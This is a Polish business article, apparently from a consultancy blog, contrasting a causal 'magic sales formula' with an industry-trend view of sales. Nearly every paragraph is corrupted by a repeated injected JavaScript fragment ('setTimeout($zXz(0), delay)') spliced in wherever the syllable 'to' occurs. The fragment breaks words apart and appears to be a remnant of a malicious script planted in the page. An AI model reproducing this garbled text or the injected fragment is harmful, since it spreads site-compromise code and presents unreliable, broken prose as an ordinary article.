In Artykuły, Handel, Uniwersalne

Sprzedaż nie bierze się znikąd. Żadna i nigdy. Zawsze ma swoje przyczyny i logikę. Można je upatrywać w magicznej formule sprzedaży albo w dynamice branż.

Magiczna formuła działa przez działanie firmy na rynek i klienta, zaś dynamika branż przez produkty i konkurencję. Podchodząc do sprzedaży statycznie, między me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todami nie ma praktycznej różnicy. Obie przecież opisują tę samą sprzedaż. Ale jeśli spróbuje się tą sprzedażą aktywnie zarządzać, wtedy me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tody dają zupełnie inne możliwości.

Magiczna formuła pozwala firmie aktywnie wpływać na wydarzenia. Zaś podejście przez branże pozwala tylko (być może i w dużej mierze zależy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to od dobrej woli dostawców) czerpać szerszym strumieniem z tego, co i tak wypracowują inni. W zarządzaniu magiczną formułą firma liczy przede wszystkim na siebie, w podejściu przez branże, na dobrą wolę dostawców. Oczywiście jeśli jest dostawcą sama dla siebie (czyli wytwarza produkty, które sprzedaje), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sytuacja się zmienia. Ale z punktu widzenia zarządzania sprzedażą wcale nie na lepsze.

Uwaga. „u producenta jest inaczej”. Dla niego magiczna formuła nie działa, a raczej z jego punktu widzenia zmieniają się zupełnie jej założenia. Producen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi (czy dostawcy) nie zależy bowiem na dużej łącznej sprzedaży dystrybu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torów (co jest nadrzędnym celem zarządzania formułą). Jemu chodzi o wykrojenie jak największego kawałka dla siebie, zabierając innym. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nawet kosztem zmniejszenia całej sprzedaży, gdyż tej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to producent nawet nie mierzy. A jeśli mierzy, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jego udział jest dla niego znacznie ważniejszy.

Tak działa interes dostawcy. Jemu chodzi o wykrojenie kawałka dla siebie. Jak największego kawałka, podczas gdy sama wielkość dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tortu nie jest już taka is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totna.

Tak działa magiczna formuła sprzedaży. Ona maksymalizuje łączną sprzedaż. Maksymalizuje iloczyn trzech parametrów operacyjnych, liczby kontaktów z firmą, konwersji i średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji. Te parametry są ze sobą wzajemnie powiązane, czasem zwiększenie jednego oznacza zmniejszenie drugiego (np. zmniejszenie liczby kontaktów na ogół prowadzi do wzrostu konwersji, pierwsi bowiem przestają przychodzić najmniej zdecydowani na zakup). Ale w ostatecznym rozrachunku zawsze liczy się iloczyn i łączna sprzedaż.

Czasem magiczna formuła zwiększa sprzedaż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na poziomie liczby wejść albo jakichkolwiek innych kontaktów z firmą. To jednak najdroższy sposób, przede wszystkim przez niską „gęs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość” grupy docelowej.

Uwaga. „gęs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość grupy docelowej”. Liczba kontaktów jest na samym początku formuły. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ma bardzo konkretny wymiar finansowy i operacyjny. Tu bowiem grupa adresowanych klientów jest jeszcze bardzo liczna, a większość z nich ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to etap jeszcze przed konwersją) w ogóle nie jest zainteresowana. Ale trzeba dotrzeć do wszystkich co jest trudne, ale przede wszystkim drogie. Najwięcej ma tu do zyskania formuła w modelu zakupów powtarzalnych, gdzie klient powraca.

Działanie magicznej formuły na wejścia w modelu powtarzalnych zakupów. Jeśli chodzi o wpływ na liczbę kontaktów, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w tym modelu zarządzanie formułą sprawdza się najlepiej.

Magiczna formuła

To inaczej przyczynowo – skutkowe podejście. W przeciwieństwie do fatalistycznego, jakim jest np. analiza trendu.

Podejście przez magiczną formułę dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podejście sprzedawcy. Aktywnego i świadomego swojej siły sprzedawcy, gdyż magiczna formuła nie tylko rejestruje sprzedaż, ale też pozwala nią operacyjnie zarządzać. Podstawą i punktem wyjścia jest klient, a także cały proces sprzedażowy, w którym uczestniczy zarówno klient, jak i firma. I obaj ci uczestnicy mogą być podmiotem zarządzania, właśnie przez zarządzanie magiczną formułą.

Uwaga. „zarządzanie magiczną formułą przez dostawców”. Mimo, że dostawcy nie są zainteresowani bezpośrednio magiczną formułą, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ochoczo się do niej podłączają. Przede wszystkim dlatego, że w tej sytuacji sprzedający ponosi koszty jej funkcjonowania, a dostawca czerpie z tego korzyści. Taką rolę pełni np. shop-in-shop, gdzie powierzchnia i koszty są wprawdzie sprzedającego (mogą być częściowo refundowane), ale korzyść już w pełni właściciela marki. Temu samemu służy narzucanie me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tod merchandisingu, własnych materiałów POS czy osobne wynagradzanie sprzedawców.

Dzięki temu zarządzaniu będzie też sprzedaży więcej. Może nie aż dwa razy więcej, gdyż zarzadzanie magiczną formuła ma ograniczenia, ale jednak znacznie więcej. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie zadanie sprzedawcy, w przeciwnym razie zamienia się on w dystrybu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tora. Który za opłatą udostępnia swoją powierzchnię dostawcom, wraz z obsługą i jej administracją.

Branża

To w pewnej mierze wręcz fatalistyczne podejście do sprzedaży. Zakłada, że na poziomie firmy niewiele da się zmienić, a o sukcesie firmy decydują procesy rynkowe. Te zaś są poza zasięgiem sprzedawcy, ewentualnie dostawcy mogą mu pozwolić z nich s korzystać w większym s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topniu. I jeśli w ogóle k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś ma wpływ na sprzedaż, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to producenci i właściciele marek. A także rozwój i dynamika rynku, także praktycznie niezależna od sprzedającego.

Podział war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości (dynamiki branży) między dostawcę a sprzedawcę.

Uwaga. „czerpanie ze strumienia czy stawianie tamy?” W podejściu przez branże firma uznaje, że jest jak osada przy strumieniu. Strumień dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyniki branży. Zaś suma opadów (poziom wody) kreuje cały rynek. To zaś, ile wody firma czerpie ze strumienia, zależy oczywiście od jej umiejętności. Ale też od tego, ile wcześniej zabrały jej konkurencyjne osady, położone w górze rzeki.

Podejście do sprzedaży przez branże i trendy. Punktem wyjścia jest dynamika branży, nieco tylko skorygowana przez dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, jak skutecznie firma potrafi wykorzystać trendy rynkowe.

Podejście przez branżę dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podejście producenta. Podstawą jest produkt. Zaś głównym rozgrywającym proces sprzedażowy jest właściciel marki. W tym myśleniu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oni dominują i decydują o tym, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i jak rośnie. W tym sposobie myślenia po stronie sprzedającego chodzi o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby „zaczerpnąć” jak najwięcej z rzeki, która płynie w pewnym s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topniu niezależnie. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie producent, bardziej niż k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tokolwiek inny mu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to umożliwia, czy łagodniej mówiąc, pozwala. I dzieli się tym wzrostem, w dużym s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topniu wg własnego uznania.

Magiczna formuła przedsiębiorstwa

Dodatkową różnicę stanowi magiczna formuła przedsiębiorstwa. To formuła, która określa zarządzanie podstawowymi elementami Modelu Biznesowego (ten bowiem da sobą zarządzać tylko w dużym uproszczeniu). Magiczna formuła nie działa bowiem w próżni. Potrzebuje wsparcia zasobami i funkcjami zapleczowymi.

W ostatecznym rozrachunku sprzedaż jest jednak najważniejsza. Pozostałe elementy Modelu Biznesowego są tylko do niej dopasowane (wtedy firma jest ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towna), albo nie (najczęściej kiedyś były, inaczej firma by nie powstała, ale sytuacja się zmieniła). A kiedy Model przestaje być dopasowany do sprzedaży, kończy się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bankructwem. Z jednej strony dlatego, że zabraknie wsparcia dla zarządzania formułą, z drugiej dlatego, że wypracowanej sprzedaży nie wystarczy na pokrycie działania kosztów.

Na końcu formuła i branże muszą się złożyć

Gdyż sprzedaż jest tylko jedna. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to niezależnie, czy podejść do niej fatalistycznie czy przyczynowo – skutkowo. Choć w pierwszym przypadku sprzedaży będzie tyle, ile będzie, a w drugim ma się przynajmniej na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jakiś wpływ.

To złożenie musi nastąpić nawet wtedy, gdy firma działa przez formułę, a nie przez branże. To zaś oznacza, że tak czy inaczej trzeba „podciągnąć odwody”, czyli jeśli trzeba, poprawić elementy produk dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe. To nie zawsze jest potrzebne, gdy np. sprzedaż windowana jest przez marketing. Ale na końcu wzrost sprzedaży przez zarządzanie magiczną formułą i tak skończy się zwiększeniem udziału w rynku. Wyjątkiem jest, jeśli firma wprowadzi np. nową kategorię. Zakładając jednak niezmienność oferty, zwiększając sprzedaż nie da się nie zyskać udziału w rynku.

Podsumowanie

Sprzedaż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sprzedaż. A przynajmniej by się tak wydawało. To prawda na poziomie pojedynczego produktu, ale już powyżej można na nią patrzeć na co najmniej 2 sposoby. Można ją postrzegać przez pryzmat produktu i całej kategorii, do której należy. Jeśli branża się rozwija, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i konkretna firma powinna na tym skorzystać. Oczywiście zależy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to od tego, jak skutecznie (na tle konkurencji) firma potraf wykorzystać ten wzrost.

Można też patrzeć na sprzedaż operacyjnie, przez liczbę kontaktów z firmą, ich konwersję i średnią war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji. Ten sposób, szczególnie jeśli firma ma wiele produktów, a nawet branż w ofercie, może się bardzo różnić od podejścia przez dynamikę branży.

Oczywiście niezależnie od podejścia na końcu musi wyjść ta sama liczba, w końcu sprzedaż jest jedna. Ale już operacyjne podejście do sprzedaży, przede wszystkim w postaci sterowania nią, już bardzo zależy od podejścia.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.